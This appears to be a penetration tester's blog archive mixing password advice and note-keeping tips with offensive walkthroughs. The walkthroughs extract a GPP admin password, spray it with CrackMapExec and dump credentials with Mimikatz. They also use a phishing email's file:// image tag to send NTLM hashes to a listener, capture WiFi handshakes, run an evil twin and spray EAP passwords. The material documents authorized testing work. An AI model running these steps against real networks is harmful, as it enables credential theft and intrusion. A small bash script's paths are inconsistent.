Category Archives: Pentesting

Strong, Complex and Memorable Passwords

On Twitter, _th1nk3r asked:

I answered yes, and Khaosus asked if there was an article about my recommendation. I don’t know that there is, so I offered to write one.

First, let’s talk about the problems we run into. People are generally not that good at coming up with passwords. I always tell people that they can make my job much harder by ensuring that no one uses any of three particular passwords. I wrote about that for the Rapid7 blog. Those three passwords that I always find are:

  • Variations of “password”. Things like Password1, Password123, or P@$$w0rd
  • Variations of the site’s or company’s name
  • SeasonYear, because we make people change their password every three months.

Longer is better, but if people just use “Password1Password1”, we’ll probably guess that. The other thing that people will do if you just require a long password is a keyboard walk. What’s that? It’s when you just use consecutive characters on the keyboard like “Asdfjkl;qwertyuiop”. But let’s stick with the fact that a longer password is more secure for now, and we’ll talk about how to make it stronger in a moment.

People also love to refer back to the XKCD comic:

All credit to Randall Munroe and his https://xkcd.com site

We’re getting closer. The comic says to choose four random words and stick them together. That does make a long password that will not be easily guessable. And is it memorable? Maybe, but maybe not. It will still be a potentially crackable password, if that’s something you care about, as those are just four words from the dictionary and password cracking machines can guess at those.

People should then just bang on the keyboard and generate some random string of characters and use that, right? Well, no. We don’t want people re-using passwords for everything either, as if the password gets leaked one place, it’s then like a skeleton key for everything.

So we want people to remember a long, complex string of characters that is unique for everything? That takes us back to where we started. A strong, complex, memorable password that isn’t re-used. How do we do that?

Here’s my solution. I’m not going to claim to be the person to first came up with this as it’s very likely others did before me. If anyone sees links to someone else saying the same thing, I’m happy t add credit here.

First, get a password manager. Any of them, I don’t care which one, LastPass, 1Password, Dashlane, whatever. Let that create and remember the passwords for you. It will remember your passwords and even auto-fill them into the correct web sites. They even let you store other secrets as well, so if you want to store your mobile device passcode, you can store it there. Want to share the Netflix password with the family, there are family plans where you can choose which passwords to share with others in your family plan. All you need to do is remember one strong, complex password now, to log in to the password manager and it will create and manage all the others! Great!

Actually you need one other one, a second strong, complex and memorable password. A password manager doesn’t help you to log on to your workstation/laptop, so you’ll need one for that as well. Ok, so you need to remember two strong, complex and memorable passwords. How will you do that? Like this:

Have you ever had a memorable event in your life? Sure you have. Here are some examples:

  • My son was born on February 11th, 1984. It was a Tuesday.
  • I got married on December 1, 1978. The honeymoon was in Hawaii!

That’s the password?!? No. That’s way too much. Let’s make them shorter. Just take the first letter from each word, keep the numbers, keep the punctuation and see what we get:

  • MswboF11,1984.IwaT.
  • IgmoD11978.ThwiH!

The first one is a 19 character password that is long, complex and memorable. The second is 17 characters which is a long password and it is complex. If I’d shown you those passwords before explaining it, you’d probably thing they are just randomly generated characters. But because they’re derived from something that is memorable to you, the password will be memorable as well.

On Twitter Ted Pavlic also suggested using song lyrics, which is a great idea.

“Bye bye Miss American Pie, drove my Chevy to the levy but the levy was dry…”
BbmAP,dmCtotlbtlwd

“All in all, you’re just another brick in the wall!”
Aia,yjabitw!

There we have it. We came up with a solution to the problem. We are able to have a strong password for every site that we use (with the password manager) and we have a strong, complex, yet memorable password to log in to the password manager and a totally different one to log in to the workstation/laptop.

Would love to hear feedback on this approach.

Loading

Shell Types

Sometimes, I have a hard time getting my brain around certain things. One such example is a bind shell and reverse shell. After reading the Metasploit section in Georgia Weidman’s Intro to Pentesting book, it all became clear.

In short, bind shell = I connect to you. Reverse shell, you connect to me. Simple.

Since I like analogies, here goes.

Bind shell. I have your phone number (IP address) and phone extension (port number). I call you on the phone. You answer. Now I can ask you to do things for me. Pretty straightforward. Except sometimes, there’s an operator in between. “You want to talk to who? Who is this? No, I will not put you through.” Maybe the operator even tells you “I just blocked that call for you. Bad, bad people.”

Because I can’t get through the operator (aka firewall), I might ask you to call me instead. I give you my phone number (LHOST) and my extension (LHOST, often 4444). So I call you, I’m blocked, but this triggers you to call me back. Now we have an open connection where I can ask you to do things for me. This is the reverse shell.

But then some companies realize this trick and they don’t let any phones call any other phone with an extension of 4444, aka egress filtering. But it’s totally normal and expected to call people on extension 80 or 443, so I ask you to call me on one of those. The filtering sees it as normal traffic and voila, we have a shell!

Loading

Who’s Down with GPP? Yeah You Know Me!

I figured it might be good to post about things that I learn on the job. This week, I was able to get a password out of Group Policy Preferences (GPP) with Metasploit.

Here’s a great writeup by Sean Metcalf on it.

First I tried capturing and relaying hashes with Responder and NTLMRelayx, but the targets did not give local administrator access to the accounts I was relaying. (Boo!) I was able to crack some of the hashes, but that didn’t help right away. So I had to look for something else. Since I did have some working credentials, I could then fire up Metasploit and see what happens against GPP. Using the auxiliary/scanner/smb/smb_enum_gpp module, I set the RHOST for a domain controller, gave it the username and password that I had previously captured and fired away. It started listing out the policies, like Groups.xml and a nice little table popped up like:

Name Value
—- —–
TYPE Groups.xml
USERNAME Administrator (built-in)
PASSWORD xxxxxxxxxx
DOMAIN CONTROLLER 192.168.19.14
DOMAIN example.com
CHANGED 2017-01-08 16:49:50
NEVER_EXPIRES? 1
DISABLED 0

Hooray!! So what do we do with that account? Spray it! That’s a local administrator account, so maybe it’ll have access elsewhere! How do we spray it? With CrackMapExec by byt3bl33d3r! Point that at all the hosts with SMB open and see what happens.

Run: cme smb IP -u Administrator -p SuperSecretPassword –local-auth

Hey, it worked! I know it worked because of that awesome “Pwn3d!” that CME shows. Next up, Mimikatz and see what’s in memory. So same command as above, but add the -M Mimikatz to it and see what comes up. Sure enough, there’s another set of credentials in clear text! Try that against the domain controller…NOW! Using CME again, with the new creds, against a DC and you know what? Pwn3d again! We are in! But as we know, DA is only the beginning and it’s time to find the data. So that’s what I learned this week, check the GPP for passwords!

Loading

SMB Email

Not a new thing, just like most other posts, this is documentation.

If internal network access, scan with nmap for egress access, especially for port 445 and 139:

nmap -T4 -p0-65535 –max-retries 1 -sS -oA sweep_egress egadz.metasploit.com

If it’s closed, this probably isn’t going to work. If there is no access to test that, we’re flying blind and just hoping here.

Set up a listener on metasploit, I like auxiliary/server/capture/smb because it’s just so easy. Nothing to configure. Just “use” it and run.

Next, create an email for the target. In the email, include an html image tag and use file:// for the scheme. Point it to the metasploit server, and reference some non-existent image. Example: <img src=”file://192.168.1.10/image.jpg” /> This will create a broken image icon in the email, but when the user attempts to load from a Windows machine, the user’s NTLMv2 hash will be sent to the listener.

If you want to also craft a believable phishing email, you could also put a link to a web page that you control and on that web page, also include the same image tag. This is just in case the user’s mail client doesn’t allow downloading of images. But a browser will!

Once hash(es) are captured, shut down the listener and while still in metasploit, enter: creds

This will give the hashes in a format that a password cracker like hashcat will understand. For hashcat, use -m5600 for the NTLMv2 format. Also, ensure there is no extra whitespace around the hashes when loaded into hashcat, or there will be a string length exception.

Run the cracker and pray. If it cracks, congrats! If not in the time allotted, sorry!

 

Loading

Create Screenshot Directory

Each week, I create a new directory for the test. It’s where I store notes, reports, artifacts, etc. I also create a screenshot directory and then set my system to auto-save screenshots to there. So I bash scripted it up. Here’s the script that will automatically create the new directory, the screenshot directory and tell my Mac system to save screenshots there:

#!/bin/bash

if [ “$1” == “” ]
then
echo “Usage: ./myscreens.sh [dirname]”
else
mkdir ~/Desktop/$1
mkdir ~/Desktop/jobs/$1/screens
defaults write com.apple.screencapture location ~/Desktop/$1/screens
killall SystemUIServer
fi

Loading

WiFi

Doing a Wireless Penetration Test

Make sure you have everything you’ll need, since these always need to be on-site.

  • Computer (even better to bring more than 1), with Kali Linux installed
  • Power cords
  • WiFi Card(s) – at least 1 since they don’t like to work when they need to
  • Different antennas
  • MiFi, since they’re probably not going to let you on the network so easily
  • USB Hub, as the wireless card might need extra power
  • OEM power cords
  • Power strip – there’s a lot to plug in

That’s a good start.

Thanks to Ted Raffle for this writeup.

Start up Kali, plug in the card, run iwconfig to see whether it is connected

Get rid of unnecessary processes: airmon-ng check kill

Start the interface: airmon-ng start wlan0

To see networks and their MAC: airodump-ng –band abg -cswitch 1 wlan0mon

If you need to de-auth: aireplay-ng –deauth <number of packets or 0 for infinite> -a [MAC of AP] -c [MAC of client] wlan0mon

Capture a PSK: airodump-ng wlan0mon -c 1 –bssid [MAC of AP] –write <filename>

Turn handshake value into a hashcat value: wpaclean clean.cap <filename>-01.cap

And: aircrack-ng clean.cap -J hccap

hashcat -m 2500 hccap.hccap -w wordlist rules/rule

Evil Twin:

Have mana installed

Use Nick Sanzotta’s “manaSucks” script:

python manaSucks.py -iwlan0mon -m=<fake MAC address> –hostname ‘anything’ -s<SSID> -c6 –manaloud=0

For brute forcing the EAP network, get usernames, either also from Nick Sanzotta’s WiFiSuite, or from evil twin, or from scraping, use WiFiSuite:

python wifisuite.py -iwlan0mon -s”<SSID>” -u <username file> -p<password> spray

If you get guest network access, test for network segmentation. nmap the neighborhood looking for “up” hosts. If there are any, nmap them for services. Also check for nameservers.

If you get on the corporate network with credentials, it’s essentially now an internal assessment. Pick something to show risk and move on. After all, it’s a wireless assessment.

Test outside the building for access

Plug in a wifi repeater/AP, is it detected? Are there network access controls? (Probably not, and now you have internal access)

Loading

Getting Organized

Learning how to get organized and put things in the proper place. I suspect that I’ll come back and add things like naming conventions. But this is what I got so far for organizing the information gathered during a pen test, in a directory.

Customer name

  • screenshots
  • services
  • scans
    • nexpose|appscan
    • nmap
      • xml
      • gnmap
      • nmap
    • pings
    • enum

As few nmap scans as possible, and name them after the network or if there is something else that makes sense. So the files may be named 192.168.10.10.gnnmap and so on.
Ping files are named the same way, but are prefixed with ping-
enum files are for enumerating a domain controller. These are prefixed with enum- and end with -dc
Services are IP addresses and the file is named with the service-host
All data is immediately removed and encrypted off the machine and deleted as soon as reasonably possible.

Loading

Quick and Dirty Loop

Sometimes you gotta run a command lots of times. So let a loop do it. Here’s one example:

for ip in $(cat ips.txt); do
nslookup $ip >> nslookups.txt
done

This will take a file of IP addresses (ips.txt) and run nslookup on each IP and output the results to nslookups.txt. Or just remove the >> nslookups.txt if you want the output to the screen.

Easy.

Loading

nslookup

Parsing nslookup

So today I had to convert IP addresses to hostnames. Seems easy enough, just use nslookup. But I had more than 400 IPs that needed to be converted. Ugh. So we need to do a little parsing.

First, take the IP addresses and get the host information. Let’s script this.

for ip in $(cat ips.txt); do
    nslookup $ip >> nslookups.txt
done

This will do an nslookup for each of the IPs in the ips.txt file. Great! Now we need to parse it. This should be pretty easy to just look for “name=” except sometimes, there isn’t a hostname and then “name=” doesn’t appear. So instead we look for something else that is always in there, regardless of whether there is a hostname. It seems the string “arpa” matches this. So the next step is to find that and then cut the hostname, or something that doesn’t look like a hostname if there isn’t one.

grep arpa nslookups.txt | cut -d " " -f3 > hostnames.txt

When this finishes, the hostnames.txt file will have one string per line, either the hostname or the word “can’t”. At this point, do a find/replace for “can’t” and make it blank (since there isn’t a hostname for that IP).

Now you have two files, one with all the IPs and one with the hostnames. Put them in two Excel columns and match them up. There is one more problem here that I haven’t found a good solution for yet. Some of the IPs may have more than one hostname. So when you match up the columns in Excel, you’ll likely have more hostnames than IPs. Unfortunately the only solution I have so far is to read through the nslookups.txt file, find the entries with more than one hostname and then manually fix this in the Excel file. It takes a little bit of time, but definitely better than running nslookup manually hundreds of times.

Loading

Using WFuzz

Had a little bit of trouble figuring it out, so adding the format that I found here:

# wfuzz -c -z file,/usr/files/userfile -z file,/usr/files/passfile –ntlm FUZZ:FUZ2Z https:///

In a nutshell, the -z coincides with the “FUZZ”. Each subsequent payload/FUZZ combination points to the FUZ2Z or FUZ3Z and so on.

WFuzz Project

Loading